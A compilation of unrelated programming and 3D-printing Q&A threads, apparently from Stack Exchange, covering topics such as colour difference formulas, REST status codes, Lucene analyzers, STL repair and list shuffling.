<p>Is there a reliable Delta RGB formula or code snippet that does colour Delta of the full RGB tri stim values, like how DeltaE 2000/cmc does Lab/Lch that takes <em>perceptual</em> differences into account?</p> <p>The RGB Colourspace could be any, but if it needed to be a particular one I could keep it sRGB for the calculations. C# is preferred, but I can convert from any language.</p> <p>I currently have a very basic RGB delta formula, but I would like to implement something that gets a truer sense of perceptual colour difference. Current right now is</p> <pre><code>float delta = Math.Sqrt(Math.Pow(r1-r2, 2) + Math.Pow(g1-g2, 2) + Math.Pow(b1-b2, 2)); </code></pre> <p>This is similar to DeltaE 76(lab), but it has the same drawbacks where the perceptual difference is not taken into account.</p> <p>PLEASE don't just do a Google search and paste the first thing you see! There are lots of Delta RGB formula's out there that may be found, but do not take perceptual differences into account. If you have knowledge of this, please comment and/or paste any links to code samples. Also, I already have conversion from RGB to Lab/Lch and then into De2000/cmc. I am not looking for that.</p>
<p>I'm afraid you already gave the only right answer: conversion to a perceptual color space, where the simple delta formula makes sense.</p> <p>Brilliant color scientists have been trying to answer the question of perceptual color differences for over a century. They've looked for a simple RGB formula that works, but human perception is just too complex.</p>
<p>Just in case you didn't find them:</p> <ul> <li><a href="http://www.easyrgb.com/index.php?X=FAQS&amp;H=05#text5" rel="nofollow noreferrer">http://www.easyrgb.com/index.php?X=FAQS&amp;H=05#text5</a></li> <li><a href="http://www.easyrgb.com/index.php?X=DELT" rel="nofollow noreferrer">http://www.easyrgb.com/index.php?X=DELT</a></li> </ul>
24,543
<p>I have been working on Flex for last couple of months and as this was the first time I had to actually do Flex I ended up underestimating the project tasks which resulted in a delay. So how does one estimate the project timings when working on a new technology?</p>
<p>I would give myself a set period of time to experiment with and learn the new technology before promising to deliver anything on a specific date.</p> <p>After that first period, make some rough estimates, and make sure your superiors know how rough they really are.</p>
<p>I guess for projects of a certain size, give yourself some time to make a reasonably simple yet still complete and not trivial prototype of some representative part of your project. Then you will have some time to play with the technology, and also earn valuable insights with regards to the time it takes to create stuff with it.</p>
44,693
<p>How to delete a file which is in use/open by some process in runtime. I am using vb.net for my project and a image is shown in picturebox, and that should be deleted, without closing that file.</p>
<p>If the file is opened by another process in exclusive mode, you can't -- Windows won't let you. In that case, the best you can do is to either wait for the other process to close the file and then delete it, or have it be deleted at the next reboot by using <a href="http://msdn.microsoft.com/en-us/library/aa365240(VS.85).aspx" rel="nofollow noreferrer"><code>MoveFileEx()</code></a> with the flag <code>MOVEFILE_DELAY_UNTIL_REBOOT</code> and a destination location of <code>NULL</code>.</p> <p>If the file is opened non-exclusively by another process, you can just call <a href="http://msdn.microsoft.com/en-us/library/aa363915(VS.85).aspx" rel="nofollow noreferrer"><code>DeleteFile()</code></a> normally (assuming you have permission to do so). The file will remain while the other process has it open, but it will be deleted as soon as the other process closes it.</p> <p>(And yes, I realize those links are for the Win32 C API; the same functions should be available under VB .NET)</p>
<p>I don't think that it is possible. On windows, you cannot delete a file which has open handles. <a href="http://support.microsoft.com/kb/320081" rel="nofollow noreferrer">http://support.microsoft.com/kb/320081</a></p> <p>However, from your description you don't need to keep the file open in your application. Open the file, read the image then close the file. Then the file can be deleted but the application will still have the image data.</p>
38,624
<p>When building REST web services in .NET, what is the most "RESTful" way of mapping <strong>System.ArgumentNullException</strong> and <strong>System.ArgumentException</strong> to HTTP status codes? My first guess would be to use <strong>HTTP 400/Bad Request</strong> with an appropriate description.<br/><br />What is the recommended best practice when mapping exceptions to HTTP status codes?</p>
<p>In general, the 4xx status codes tell the client that the request failed but may succeed if the request i smodified. The 5xx codes inform the client about problems that where the client has no influence.</p> <p>So the first distinction you have to make is between 4xx and 5xx codes, i.e. tell the client if it should retry or not.</p> <p>HTTP 400 "Bad Request" should be used if the request was indeed syntactically malformed, incomplete, contradicting or otherwise basically wrong. Additionaly it may be a valid default status in the 4xx range, if no other status seems appropriate and you believe the client needs only to modify the request to succeed.</p>
<p>It depends on the context. E.g. an ArgumentNullException could stem from a violated precondition or be an internal server error.</p> <p>Regards, tamberg</p>
39,220
<p>I love the StringTemplate engine, and I love the CherryPy web server, and I know that they can be integrated.</p> <p>Who has done it? How?</p> <p>EDIT: The TurboGears framework takes the CherryPy web server and bundles other related components such as a template engine, data access tools, JavaScript kit, etc. I am interested in MochiKit, demand CherryPy, but I don't want any other template engine than StringTemplate (architecture is critical--I don't want another broken/bad template engine).</p> <p>Therefore, it would be acceptable to answer this question by addressing how to integrate StringTemplate with TurboGears.</p> <p>It may also be acceptable to answer this question by addressing how to use CherryPy and StringTemplate in the Google App Engine.</p> <p>Thanks.</p>
<p>Based on the tutorials for both, it looks pretty straightforward:</p> <pre> import stringtemplate import cherrypy class HelloWorld(object): def index(self): hello = stringtemplate.StringTemplate("Hello, $name$") hello["name"] = "World" return str(hello) index.exposed = True cherrypy.quickstart(HelloWorld()) </pre> <p>You'll probably want to have the CherryPy functions find the StringTemplate's in some location on disk instead, but the general idea will be like this.</p> <p>Django is conceptually similar: url's are mapped to python functions, and the python functions generally build up a context dictionary, render a template with that context object, and return the result.</p>
<p>Rob,</p> <p>There's reason behind people's selection of tools. StringTemplate is not terribly popular for Python, there are templating engines that are much better supported and with a much wider audience. If you don't like Kid, there's also Django's templating, Jinja, Cheetah and others. Perhaps you can find in one of them the features you like so much in StringTemplate and live happily ever after.</p>
49,694
<p>I have a prusa 13 that's shipping in the mail, and I intend to make good use of it, one also own a da vinci jr. and the one time it got so clogged that the extruder itself was filled with pla, with that said I replace the extruder, for the da vinci, but besides that, as for my a prusa, what should I do if the extruder, not the nozzle gets clogged that badly?</p>
<p>From an electrical standpoint, a two-phase stepper motors (what most 3D printers use) works the same backwards and forwards, the phase just reverses. If you are stalling on only one direction, I would look to see if you have a mechanical bind in that direction. Generally a wiring issue will cause the motor to either not run at all or to run in the wrong direction.</p> <p>A few things you can check:</p> <ol> <li>Decouple the motors from their mechanical load and confirm that they all run correctly when they aren't driving a load. If you can't do that, disconnect them all then connect a spare motor to each cable one-at-a-time.</li> <li>Turn each of the axis with your hand and make sure it turns smoothly throughout the entire range in both directions. Note: Some times a binding issue is acceleration related - a loose frame or coupling can cause this.</li> <li>Monitor the supply voltage to make sure that one of the motors is not pulling the supply down causing all the others to stall.</li> </ol>
<p>Sounds like you are configured for NC switches but are using NO switches, causing them to invert their reported state. Issue a <strong>M119</strong> command and see if the endstop statuses are correct when none are triggered.</p>
776
<p>in our application we have a Java applet running inside a .NET browser control. It is a know issue from Sun that running an applet this way may crash the control.</p> <p>Has anyone come across the same problem and solved it?</p> <p>Atm we are running the applet in a Webbrowser but we need to run it in a browser control.</p> <p>Thx for any help.</p>
<p>After some time the problem solved itself. It was indeed a bug in the java runtime which is now fixed by sun. Just make sure your JRE is > 1.6.10.</p>
<p>If you wrote the applet and have source, then you could try to migrate the Java Applet to a J# Browser control and stuff that in your .net application. </p> <pre><code>Here is a link - http://msdn.microsoft.com/en-us/library/aa290083(VS.71).aspx </code></pre>
9,726
<p>Using <code>WritePrivateProfileString</code> and <code>GetPrivateProfileString</code> results in <code>???</code> instead of the real characters.</p>
<p><code>GetPrivateProfileString()</code> and <code>WritePrivateProfileString()</code> will work with Unicode, sort of.</p> <p>If the ini file is UTF-16LE encoded, i.e. it has a UTF-16 BOM, then the functions will work in Unicode. However if the functions have to create the file they will create an ANSI file and only work in ANSI.</p> <p>So to use the functions with Unicode, create your ini file before you first use it and write a UTF-16LE Byte Order Mark to it. Then carry on as normal.</p> <p>Note that the functions <em>do not work at all with UTF-8</em>.</p> <p>See <a href="http://www.siao2.com/2006/09/15/754992.aspx" rel="noreferrer">Michael Kaplan's blog</a> for more detail than you ever wanted to know about this.</p>
<p>It might just be a problem with how you are displaying or handling the strings. For example, the normal console window can't display japanese strings with printf.</p> <p>Can you post some of your code?</p>
24,991
<p>Am new to Lucene.Net Which is the best Analyzer to use in Lucene.Net? Also,I want to know how to use Stop words and word stemming features ?</p>
<p>I'm also new to Lucene.Net, but I do know that the Simple Analyzer omits any stop words, and indexes all tokens/works.</p> <p>Here's a link to some Lucene info, by the way, the .NET version is an almost perfect, byte-for-byte rewrite of the Java version, so the Java documentation should work fine in most cases: <a href="http://darksleep.com/lucene/" rel="nofollow noreferrer">http://darksleep.com/lucene/</a>. There's a section in there about the three analyzers, Simple, Stop, and Standard.</p> <p>I'm not sure how Lucene.Net handles word stemming, but this link, <a href="http://www.onjava.com/pub/a/onjava/2003/01/15/lucene.html?page=2" rel="nofollow noreferrer">http://www.onjava.com/pub/a/onjava/2003/01/15/lucene.html?page=2</a>, demonstrates how to create your own Analyzer in Java, and uses a PorterStemFilter to do word-stemming.</p> <blockquote> <p>...[T]he Porter stemming algorithm (or "Porter stemmer") is a process for removing the more common morphological and inflexional endings from words in English</p> </blockquote> <p>I hope that is helpful.</p>
<p>The best analyzer which i found is the StandardAnalyzer in which you can specify the stopwords also. For Example :- </p> <pre><code> string indexFileLocation = @"C:\Index"; string stopWordsLocation = @"C:\Stopwords.txt"; var directory = FSDirectory.Open(new DirectoryInfo(indexFileLocation)); Analyzer analyzer = new StandardAnalyzer( Lucene.Net.Util.Version.LUCENE_29, new FileInfo(stopWordsLocation)); </code></pre>
42,238
<p>Most of the guides I can find are just canned responses to specific questions. Instead I'm looking for something meant to teach good fundamental understanding and core needed skills. Beginner's guides are common in other hobbies but I am having trouble finding one for 3d printing.</p>
<p>Here's a brief outline I threw out in chat once. I'm marking this as a &quot;community Wiki&quot; answer so feel free to edit.</p> <p>It is not a full Primer, so should date better than a Word6.0 manual.</p> <hr /> <p>Start by reading the instructions that came with your printer. There's a high chance that some assembly is required, and if you get something wrong then things may nor work right later. Some brands come complete, some are better than others in this regard. Take your time.</p> <p>For most people, they spend the first couple of weeks failing prints for multiple reasons. For me it was bed levelling and getting the first layer-adhesion, and filament tension.</p> <p>So work on getting the bed levelled, work out how much gluestick or tape your filament needs to work, and what temperatures work in your environment.</p> <p>I use 210 °C on the hotend for PLA+ and 60 °C bed temp, though others get away with 190 °C on the hotend and 50 °C on the bed. My printer is in a garage though.</p> <p>Try and print a 20 mm cube or a benchy.</p> <p>After that, explore <a href="http://thingiverse.com" rel="nofollow noreferrer">http://thingiverse.com</a> or <a href="http://thangs.com" rel="nofollow noreferrer">http://thangs.com</a> looking for pre-made stuff that you would benefit from. Start small.</p> <p>The Grab Toy Infinite is a great starter - it's very forgiving about tolerances, and kids like it. Expect rough handling to break it.</p> <p>When you're happy printing other people's things, identify some needs of your own. In fact, make up a document / draught email / notepad of ideas of things to print. I add stuff to mine all the time.</p> <p>When you've got a need that no one else can fill, you can start designing your own item and do the whole</p> <pre><code>idea --&gt; ||: (re)design --&gt; implement --&gt; test --&gt; curse :|| success!! loop. </code></pre> <p>Many people bang on about expensive fancy software, but you can make a perfectly adequate part using <a href="http://tinkercad.com/" rel="nofollow noreferrer">http://tinkercad.com/</a> as a grounding.</p> <p>For example, I had too many spare hacksaw blades and none of the &quot;holders&quot; I could buy were perfect, nor even close. Here's my output:</p> <p><a href="https://www.tinkercad.com/things/9yQMmxRv4Lz-spare-hacksaw-blade-holder" rel="nofollow noreferrer">https://www.tinkercad.com/things/9yQMmxRv4Lz-spare-hacksaw-blade-holder</a></p> <p>Like many things in making, expect to fail and learn and do it again.</p> <p>Sometimes it looks like we buy printers to print things for the printers for printing things for the printers...repeat.</p> <p>Look for needs in your life and design something to fill them. It's most satisfying.</p> <p>There's a huge gap between Functional prints, which do a job, and pretty prints which are just to look nice.</p> <p>Functional things are great - you can therefore justify the cost of more printer upgrades. LOOK AT ALL THE MONEY WE SAVED!</p> <p>But overall enjoy yourself and the time you spend making things.</p>
<p>Thera are plenty of such guides. But from necessity they deal with specifics, there are too many things to cover otherwise.</p> <p>Multiple types of printers, multiple brands, multiple slicers, multiple ways of modelling etc,. With more all the time. Reading up on something that tells me how to model and slice in Freecad &amp; Creality, when I'm using Blender &amp; Cura is a waste of time.</p> <p>Generic instructions that apply to everything are so vague as to be essentially useless. (Plenty of those online though)</p>
2,143
<p>I would like to do something like <code>&lt;test:di id="someService"</code>/`><br> &lt;% someService.methodCall(); %></p> <p>where <code>&lt;test:di</code><br> gets and instantiates a service bean and creates a scripting variable for use. similar to how jsp:usebean works for example <code>&lt;jsp:useBean id="someDate" class="java.util.Date"</code>/><br> &lt;%<br> someDate.getYear();</p> <pre><code>%&gt; </code></pre> <p>how do i make my own objects available as a scritping variable?</p>
<p>The way this is done in a Tag Library is by using a Tag Extra Info (TEI) class.</p> <p>You can find an <a href="http://www.stardeveloper.com/articles/display.html?article=2001081601&amp;page=2" rel="nofollow noreferrer">example here</a>.</p>
<p>I think you're trying to write your own tag library.</p> <p>Check out the tutorial at: <a href="http://www.ironflare.com/docs/tutorials/taglibs/" rel="nofollow noreferrer">http://www.ironflare.com/docs/tutorials/taglibs/</a></p> <p>Edit: As Garth pointed out, you want to use the TagExtraInfo class after you've defined your tag lib. <a href="http://www.stardeveloper.com/articles/display.html?article=2001081601&amp;page=2" rel="nofollow noreferrer">http://www.stardeveloper.com/articles/display.html?article=2001081601&amp;page=2</a></p>
18,067
<p>I am trying to print this really cool <a href="https://www.thingiverse.com/thing:4551901/comments" rel="nofollow noreferrer">flying toy model</a> on my <a href="https://toybox.com/" rel="nofollow noreferrer">ToyBox</a> 3D printer, but when I try to print the &quot;copter_key-175.stl&quot; file it complains it is a &quot;non-manifold shape&quot;. How can I fix this .stl file?</p> <hr /> <p>[update START]</p> <p><em>Update for future readers:</em> I haven't tried it yet, but the Free and Open Source slicer software, <a href="https://github.com/slic3r/Slic3r" rel="nofollow noreferrer">Slic3r</a>, boasts this feature worth trying:</p> <blockquote> <p><strong>auto-repair</strong> of non-manifold meshes (and ability to re-export them);</p> </blockquote> <p>Update again: the <strong>best slicers</strong>, it seems, based on my research, are:</p> <ol> <li><strong>Cura</strong> (FOSS and professionally supported),</li> <li><strong>PrusaSlicer</strong> (FOSS, forked from Slic3r, and also professionally supported now).</li> </ol> <p>Articles to look at:</p> <ol> <li><a href="https://www.google.com/search?q=slic3r%20vs%20cura&amp;oq=slic3r%20vs%20cura&amp;aqs=chrome..69i57j69i65.2775j0j4&amp;sourceid=chrome&amp;ie=UTF-8" rel="nofollow noreferrer">Google search for &quot;slic3r vs cura&quot;</a> <ol> <li>Slic3r vs Cura (Cura wins; Slic3r lags due to no full-time company-sponsored development): <a href="https://all3dp.com/2/slic3r-vs-cura-3d-printer-slicer-software-shootout/" rel="nofollow noreferrer">https://all3dp.com/2/slic3r-vs-cura-3d-printer-slicer-software-shootout/</a></li> </ol> </li> <li><a href="https://www.google.com/search?q=prusaslicer%20vs%20cura&amp;oq=prusaslicer%20vs%20cura&amp;aqs=chrome..69i57.10468j0j4&amp;sourceid=chrome&amp;ie=UTF-8" rel="nofollow noreferrer">Google search for &quot;prusaslicer vs cura&quot;</a> <ol> <li>PrusaSlicer vs Cura (Cura wins, but just barely, since both are professionally supported with full-time developers): <a href="https://all3dp.com/2/prusaslicer-vs-cura-differences/" rel="nofollow noreferrer">https://all3dp.com/2/prusaslicer-vs-cura-differences/</a></li> </ol> </li> </ol> <p>[update END]</p> <hr /> <p>Note that I have printed many ToyBox-designed models perfectly with this printer over the last 24 hrs.</p> <p>I have also split the model (to cut the last few cm off the end and shorten it) using this technique here in TinkerCad, then exported the part as a shorter part so I could print on the smaller bed of the ToyBox printer.</p> <p><div class="youtube-embed"><div> <iframe width="640px" height="395px" src="https://www.youtube.com/embed/1SwSqROgLpY?start=0"></iframe> </div></div></p> <p>Here is what the &quot;key&quot; is supposed to look like:</p> <p><a href="https://i.stack.imgur.com/hTkbn.jpg" rel="nofollow noreferrer" title="3D rendering of 'key'"><img src="https://i.stack.imgur.com/hTkbn.jpg" alt="3D rendering of 'key'" title="3D rendering of 'key'" /></a></p> <p>And here is how it comes out instead. Notice the misaligned teeth and layers about halfway through. Once I saw it was botched, I stopped the print early.</p> <p><a href="https://i.stack.imgur.com/9BQTr.jpg" rel="nofollow noreferrer" title="Side view of 3D printed 'key'"><img src="https://i.stack.imgur.com/9BQTr.jpg" alt="Side view of 3D printed 'key'" title="Side view of 3D printed 'key'" /></a></p> <p><a href="https://i.stack.imgur.com/1gm0T.jpg" rel="nofollow noreferrer" title="Top view of 3D printed 'key'"><img src="https://i.stack.imgur.com/1gm0T.jpg" alt="Top view of 3D printed 'key'" title="Top view of 3D printed 'key'" /></a></p> <p><a href="https://i.stack.imgur.com/GqYyf.jpg" rel="nofollow noreferrer" title="Angled view of 3D printed 'key'"><img src="https://i.stack.imgur.com/GqYyf.jpg" alt="Angled view of 3D printed 'key'" title="Angled view of 3D printed 'key'" /></a></p> <p><a href="https://i.stack.imgur.com/RE9sB.jpg" rel="nofollow noreferrer" title="Back view of 3D printed 'key'"><img src="https://i.stack.imgur.com/RE9sB.jpg" alt="Back view of 3D printed 'key'" title="Back view of 3D printed 'key'" /></a></p> <p><strong>How can I make it print properly and/or how can I fix the .stl file?</strong></p> <h2>Notes:</h2> <ul> <li>My operating system is Linux Ubuntu 20.04</li> <li>I have Windows 10 running in the VirtualBox virtual machine in case I need to run Fusion 360 or something in Windows</li> <li>I tried installing Meshmixer inside Windows 10 and it won't open. I had read online it can be used to fix .stl files, so I was going to look into that. <a href="https://i.stack.imgur.com/yfPSh.png" rel="nofollow noreferrer" title="Screenshot of Meshmixer Error Report dialog box"><img src="https://i.stack.imgur.com/yfPSh.png" alt="Screenshot of Meshmixer Error Report dialog box" title="Screenshot of Meshmixer Error Report dialog box" /></a></li> </ul> <h2>Related:</h2> <ul> <li>my comment on <a href="https://www.thingiverse.com/thing:4551901/comments#comment-6238246" rel="nofollow noreferrer">Thingiverse</a></li> <li>my help request on <a href="https://maketoys.zendesk.com/hc/en-us/community/posts/4411413024916-Cannot-split-part-in-editor-Something-went-wrong-please-try-again-" rel="nofollow noreferrer">Toybox</a></li> <li>Another person seeking help for this: <a href="https://tinkercad.zendesk.com/hc/en-us/community/posts/360038762593-Non-Manifold-Model" rel="nofollow noreferrer">tinkercad.zendesk.com: Non-Manifold Model</a></li> </ul>
<h2>ToyBox 3D printer true print dimensions and limit switch problems</h2> <p>So I figured out that the problem is my print area is so small the printer was occasionally fully pressing and triggering the end-point limit switches! This apparently causes it to stop slightly early, shifting the next layer as it prints.</p> <p><a href="https://www.toyboxuae.com/blogs/news/what-are-toybox-specifications" rel="nofollow noreferrer">The printer specs</a> state that it has a print volume of <strong>9 x 8 x 10 cm</strong>. However, the print design area and viewer at <a href="https://www.make.toys/" rel="nofollow noreferrer">https://www.make.toys/</a> shows the design volume like this</p> <p><a href="https://i.stack.imgur.com/zouQc.png" rel="nofollow noreferrer" title="Screenshot of ToyBox viewer"><img src="https://i.stack.imgur.com/zouQc.png" alt="Screenshot of ToyBox viewer" title="Screenshot of ToyBox viewer" /></a></p> <p>In the square grid shown on the base plate there is 1 cm per square, except that as you can see, the far left and far-right columns are &lt; 1 square. Therefore, looking at this image, the usable bed area appears to be about <strong>7.25 cm x 8 cm</strong> (the grid size shown in the images), NOT 8 cm x 9 cm.</p> <p>Furthermore, if you do NOT have the &quot;Skip First Ring&quot; option checked on the &quot;Build&quot; tab in the image below, the printer does a &quot;wipe clean&quot; maneuver in the shape of a spiral, circle, or ring around the object to be printed just before beginning the print. This wipes off any dangling stray print material before beginning the print. If your object fully covers the print bed dimensions, however, that ring will be even wider, causing the printer to hit its limit switches.</p> <p>(<strong>The model in this image is 10.4 cm long, which is too long, causing my printer to hit its limit switches, skewing the layers while printing.</strong>)</p> <p><a href="https://i.stack.imgur.com/HAZQ7.png" rel="nofollow noreferrer" title="Screenshot of ToyBox viewer with the 'Skip First Ring' option highlighted"><img src="https://i.stack.imgur.com/HAZQ7.png" alt="Screenshot of ToyBox viewer with the 'Skip First Ring' option highlighted" title="Screenshot of ToyBox viewer with the 'Skip First Ring' option highlighted" /></a></p> <p>So, the problem is that my part is too big. WithOUT that &quot;Skip First Ring&quot; box checked, the dimensions are probably further reduced by another 5 mm or so on X and Y dimensions, bringing it down to about <strong>6.75 cm x 7.5 cm</strong> <em>usable print area.</em> My part was 10.4 cm long. The Pythagorean Theorem says that <span class="math-container">$A^2 + B^2 = C^2$</span>, so <span class="math-container">$C = \sqrt(A^2 + B^2)$</span> = <span class="math-container">$\sqrt(6.75cm^2 + 7.5cm^2)$</span> = <strong>10.09 cm max</strong> on the diagonal. <strong>My 10.4 cm long part was too long. The printer hit the limit switches, botching the layers.</strong></p> <p>Had I checked that box <em>maybe</em> I could have gotten away with a part closer to <span class="math-container">$\sqrt(7.25^2 + 8^2)$</span> = <strong>10.8 cm long</strong>, but that's really pushing the limits of this printer. <strong>In the end, shrinking the part a bit more to be about 10 cm or less was all I needed to do!</strong></p> <p>UPDATE: I've also proven conclusively by designing in <a href="http://www.TinkerCad.com" rel="nofollow noreferrer">www.TinkerCad.com</a> and printing on the ToyBox that the max allowed print height is exactly <strong>9 cm</strong>, and it will indeed print properly all the way up to that height.</p> <hr /> <h2>I'd still like a flying propeller</h2> <p>That being said, even though <a href="https://www.thingiverse.com/thing:4551901" rel="nofollow noreferrer">the &quot;key&quot; of the model in my question</a> printed pretty well in the end, the helicopter blade (propeller) printed horribly because the design is flawed and has a bunch of missing material and air gaps around the hub, making the propeller completely unusable!</p> <p>Instead, I <a href="https://www.thingiverse.com/thing:1885007" rel="nofollow noreferrer">switched to this thing shown below</a>, shrunk it down to 0.6x to fit my printer, set my printer settings from medium to fine resolution, and got pretty good results! I still need to further tweak and edit the design on <a href="https://www.tinkercad.com" rel="nofollow noreferrer">https://www.tinkercad.com</a> to give the pull key better clearance, and better connection with the hub gear, and I think I'll be able to get a great result! I got it to fly a few times up to 8 ft high or so, but the pull is very rough and inconsistent, so the model needs further tweaking.</p> <p><a href="https://i.stack.imgur.com/g6G53.png" rel="nofollow noreferrer" title="Screenshot of the Thingiverse page for the helicopter model"><img src="https://i.stack.imgur.com/g6G53.png" alt="Screenshot of the Thingiverse page for the helicopter model" title="Screenshot of the Thingiverse page for the helicopter model" /></a></p> <p><sub>Keywords: ToyBox 3D printer helicopter and toybox printer clearances, print dimensions, print volume, specs, print settings</sub></p>
<p>Non-manifold objects are only accidentally solid, as sometimes it becomes unclear what is the inside and what is the outside. Some slicers attempt to fix this and do a good job of guessing how to correct it. Also, some non-manifold errors are easier to fix than others.</p> <p>If your slicer is complaining about a part file being non-manifold or you suspect that this is causing a problem, you should bring it into a surface mesh editor like meshlab or blender and try to fix it with the manifold test and repair tools in either of these programs.</p> <p>Typical ways an STL file could be non-manifold include:</p> <ul> <li>cracks between faces caused by round off error</li> <li>missing faces</li> <li>flipped faces</li> <li>interior faces</li> <li>faces that intersect somewhere other than an edge</li> </ul>
2,062
<p>My ultimate goal here is to write a utility that lets me quickly set the folder on <em>any</em> dialog box, choosing from a preset list of 'favorites'. As I'm just a hobbyist, not a pro, I'd prefer to use .NET as that's what I know best. I do realize that some of this stuff might require something more than what I could do in C#.</p> <p>I have seen some applications that are able to extend the common dialog box (specifically for Save As.. and File Open) either by adding buttons to the toolbar (eg: <a href="http://www.win-utilities.com/dba/index.html" rel="nofollow noreferrer">Dialog Box Assistant</a>) or by putting extra buttons in the title bar beside the minimize, maximize, and/or close buttons. Either would be good option though I don't have the foggiest idea where to begin.</p> <p>One approach I've tried is to 'drag' the folder name from an app I wrote to the file name textbox on the dialog box, highlighting it using a mouse hook technique I picked up from Corneliu Tusnea's <a href="http://readify.net/tech-zone/tech-tools/hawkeye-the-net-runtime-object-editor/Default.aspx" rel="nofollow noreferrer">Hawkeye Runtime Object Editor</a>, and then prepending the path name by pinvoking SendMessage with WM_SETTEXT. It (sort of) works but feels a bit klunky.</p> <p>Any advice on technique or implementation for this would be much appreciated. Or if there's an existing utility that already does this, please let me know!</p> <p><strong>Update</strong>: When all is said and done, I think I'll probably got with an existing utility. However, I would like to know if there <em>is</em> a way to do this programmatically.</p>
<p>Sounds like a job for <a href="http://www.autohotkey.com" rel="noreferrer">AutoHotkey</a> to me.</p> <p>I am a "pro" (at least I get paid to program), but I would first look at using AutoHotkeys' many well tested functions to access windows, rather then delving into C#/.NET and most likey the WinAPI via PInvoke.</p> <p>AutoHotkey even provides some basic user interface controls and is free.</p> <p>Here's an <a href="http://www.autohotkey.com/docs/scripts/FavoriteFolders.htm" rel="noreferrer">AutoHotkey script</a> that is very similar to what you are asking for.</p>
<p>For something like this you're probably going to get heavy into Win32 API calls. Working from .Net means making a lot of pinvokes. I'm afraid I can't help you much, but I do remember there being a book called <a href="http://oreilly.com/catalog/9780596001186/" rel="nofollow noreferrer">" Subclassing and Hooking with Visual Basic"</a> that might help. It was written mostly for VB 6, but I believe it had some VB.Net stuff in it. </p> <p>Also, <a href="http://www.pinvoke.net" rel="nofollow noreferrer"> PInvoke.Net </a> is a wiki with a lot of pinvoke signatures that you can copy and paste that might help. </p> <p>When it comes down to it, you're probably going to have to learn more about how Windows operates internally (message passing, etc.) to accomplish your goal. </p> <p>Spy++ will also probably be your friend. </p>
15,285
<p>Are there any algorithms that can help with hierarchical clustering? Google's map-reduce has only an example of k-clustering. In case of hierarchical clustering, I'm not sure how it's possible to divide the work between nodes. Other resource that I found is: <a href="http://issues.apache.org/jira/browse/MAHOUT-19" rel="noreferrer">http://issues.apache.org/jira/browse/MAHOUT-19</a> But it's not apparent, which algorithms are used.</p>
<p>First, you have to decide if you're going to build your hierarchy bottom-up or top-down. </p> <p>Bottom-up is called Hierarchical agglomerative clustering. Here's a simple, well-documented algorithm: <a href="http://nlp.stanford.edu/IR-book/html/htmledition/hierarchical-agglomerative-clustering-1.html" rel="noreferrer">http://nlp.stanford.edu/IR-book/html/htmledition/hierarchical-agglomerative-clustering-1.html</a>.</p> <p>Distributing a bottom-up algorithm is tricky because each distributed process needs the entire dataset to make choices about appropriate clusters. It also needs a list of clusters at its current level so it doesn't add a data point to more than one cluster at the same level.</p> <p>Top-down hierarchy construction is called <a href="http://nlp.stanford.edu/IR-book/html/htmledition/divisive-clustering-1.html" rel="noreferrer">Divisive clustering</a>. <a href="http://home.dei.polimi.it/matteucc/Clustering/tutorial_html/kmeans.html" rel="noreferrer">K-means</a> is one option to decide how to split your hierarchy's nodes. This paper looks at K-means and Principal Direction Divisive Partitioning (PDDP) for node splitting: <a href="http://scgroup.hpclab.ceid.upatras.gr/faculty/stratis/Papers/tm07book.pdf" rel="noreferrer">http://scgroup.hpclab.ceid.upatras.gr/faculty/stratis/Papers/tm07book.pdf</a>. In the end, you just need to split each parent node into relatively well-balanced child nodes.</p> <p>A top-down approach is easier to distribute. After your first node split, each node created can be shipped to a distributed process to be split again and so on... Each distributed process needs only to be aware of the subset of the dataset it is splitting. Only the parent process is aware of the full dataset.</p> <p>In addition, each split could be performed in parallel. Two examples for k-means:</p> <ul> <li><a href="http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.101.1882&amp;rep=rep1&amp;type=pdf" rel="noreferrer">http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.101.1882&amp;rep=rep1&amp;type=pdf</a></li> <li><a href="http://www.ece.northwestern.edu/~wkliao/Kmeans/index.html" rel="noreferrer">http://www.ece.northwestern.edu/~wkliao/Kmeans/index.html</a>.</li> </ul>
<p>You could look at some of the work being done with Self-Organizing maps (Kohonen's neural network method)... the guys at <a href="http://www.ifs.tuwien.ac.at/~andi/somlib/experiments_wfb90.html#integration" rel="nofollow noreferrer">Vienna University of Technology</a> have done some work on distributed calculation of their growing hierarchical map algorithm.</p> <p>This is a little on the edge of your clustering question, so it may not help, but I can't think of anything closer ;)</p>
11,032
<p>Is there a neat archiving library that automatically handles archiving a folder or directories for you out there? I am using Jython, so Java libs are also open for use. -UPDATE- Also Im looking for timestamp archiving. ie </p> <p>archive-dir/2008/11/16/zipfilebypreference.zip</p> <p>then the next day call it again and it creates another folder. Im sure there is something out there on the internet, who knows?</p>
<p>You have either the:</p> <ul> <li><a href="http://www.xhaus.com/alan/python/httpcomp.html" rel="nofollow noreferrer">gzip library</a> used here in a Jython servlet: </li> </ul> <p>&nbsp;</p> <pre><code>import javax.servlet.http.HttpServlet import cStringIO import gzip import string def compressBuf(buf): zbuf = cStringIO.StringIO() zfile = gzip.GzipFile(mode = 'wb', fileobj = zbuf, compresslevel = 6) zfile.write(buf) zfile.close() return zbuf.getvalue() </code></pre> <ul> <li>or the direct used of java.util.zip as illustrated <a href="https://www.acm.org/crossroads/xrds6-3/ovp63.html" rel="nofollow noreferrer">here</a>, for one file, or for a all directory content.</li> </ul>
<p>You can use java.util.zip, when I was using Jython the built in zip library in python didn't work </p>
38,136
<p>I have an application that takes the quality results for a manufacturing process and creates graphs both to show Pareto charts of the bad, and also to show production throughput.</p> <p>To automate the task of testing these statistical procedures I would like to deterministically be able to add records into the database and have the quality tech go to certain graphs and compare to a known good graph. But, I also would like to simulate the results so they would go into the database as if a user was running through the testing process.</p> <p>One idea I have had is to fill a list with i number good, j number bad1, k number bad 2, etc. And then somehow randomly sort the list before insertion into the database.</p> <p>So, my question, is there a standard algorithm to take a sorted list of values and create a randomly sorted list? </p>
<p>You'll want to use a <a href="http://en.wikipedia.org/wiki/Fisher-Yates_shuffle" rel="nofollow noreferrer">shuffle algorithm.</a> Make sure to use a proper shuffle algorithm and not a home-baked one, because it may introduce some form of subtle pattern to the data. See <a href="http://www.codinghorror.com/blog/archives/001015.html" rel="nofollow noreferrer">this post by Jeff Atwood about the problem with using "random enough" shuffles.</a></p>
<p>the way i used to do this was to have a loop that ran a number of times that would generate two random numbers between 0 and the length of the list, then swap those two elements.</p>
20,293